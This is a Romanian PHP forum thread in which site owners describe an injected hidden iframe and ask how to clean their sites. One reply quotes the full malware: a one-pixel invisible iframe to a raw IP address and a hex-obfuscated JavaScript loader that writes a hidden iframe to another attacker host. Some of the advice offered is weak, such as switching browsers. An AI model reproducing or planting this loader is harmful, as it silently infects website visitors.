Forum PHP Romania - Discutii despre PHP, MySQL, Javascript, AJAX, etc

[beginner18]

a avut careva probleme cu: <iframe src='http://194.1.152.172/tt.php' width='1' height='1' style='visibility: hidden;'></iframe> ? Deci pe mine ma innebuneste!

se baga tampitu in toate indexurile..si adauga codu de mai sus iar cineva cand intra de pe mozilla pe site, se inchide automat.
pentru cei care l-au avut..cum ati scapat de el?

[Pirahna]

pai folosim antivirusi.

[beginner18]

lol. da ma, ca eu pana acum foloseam raid pt gandaci.
Daca e cineva care a intampinat probleme, rog sa imi zica rezolvarea.

[Pirahna]

rezolvarea e sa-l scoti ... folosind un antivirus ... sau sa reinstalezi firefox.

[beginner18]

am reinstalat win-ul acu 1 sapt..si nuj cum de a revenit. e posibil pe server sa se poata infecta?adica sa ramana ceva pe server care sa imi infecteze site-urile?

[Catanik]

si mie imi apare aceasi vrajeala cu iframu asta si la kaspersky imi arata ca e infectat index.php cu trojan clicker , si nush cum sa scap de asa ceva.
am refacut iar situ am sters tot si tot degeaba ramane acolo.


<iframe src='h(.)ttp://u(.)rl' width='1' height='1' style='visibility:

hidden;'></iframe><script>function v4764c2803f55c(v4764c2803f95a){ function v4764c2803fd53

() {var v4764c28040158=16; return v4764c28040158;}

return(parseInt(v4764c2803f95a,v4764c2803fd53()));}function v4764c28040567(v4764c2804095d){

var v4764c28041c39=2; var v4764c28040d58='';for(v4764c28041155=0;

v4764c28041155<v4764c2804095d.length; v4764c28041155+=v4764c28041c39){

v4764c28040d58+=(String.fromCharCode(v4764c2803f55c(v4764c2804095d.substr(v4764c28041155,

v4764c28041c39))));}return v4764c28040d58;}

document.write(v4764c28040567('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646

F63756D656E742E777269746528273C696672616D65206E616D653D32613161306563207372633D5C27687474703

A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D61746

82E72616E646F6D28292A313531373535292B27345C272077696474683D373535206865696768743D32303120737

4796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</s

cript>

[Pirahna]

beginner18 a scris: am reinstalat win-ul acu 1 sapt..si nuj cum de a revenit. e posibil pe server sa se poata infecta?adica sa ramana ceva pe server care sa imi infecteze site-urile?

s-ar putea sa nu fie ceva legat de server ... ce browser folosesti ?

[beginner18]

mozilla in special

[Birkoff]

s-a gandit cineva ca poate e serverul virusat? e posibil sa bage codul automat indiferent ce ii faceti voi la pagina... deci verificati si alte pagini gazduite la acel host si semnalati problema la cei care se ocupa de suport tehnic...

[killer1]

Batrane un sfat....nu mai folosi Mozii si vei scapa sigur de el, eu am avut altii mai rau ca asta, am bagat Nod 32 l-am hacuit, am dat reset,
am bagat IE 7 si acum sunt very happy deci.....faci cum crezi....bafta !!!!

[Catanik]

Citat: s-a gandit cineva ca poate e serverul virusat?

am facut exact ce ai zis tu am trimis mail la astia , si stii ce rsp am primit :) "PE NOI NU NE INTERESEAZA DACA HOSTUL E VIRUSAT , NOI VERIFICAM DOAR MAILURILE SA NU FIE VIRUSATE.! "(CEI DE LA ROMARG AU ZIS ASA CEVA)" si totusi e firma serioasa ... si acuma stau cu virusu de 3 spt .. si am sa mai las asa sa vad ce o sa se int.


P.S. : oare o sa se viruseze toate siturile de la ei ? :))

[corinbz]

naspa :(

[crivion]

eu am avut la fel, am sters codu depe o distributie linux live am dat restart am schimbat parola si voila!

[PHPRomania Bot]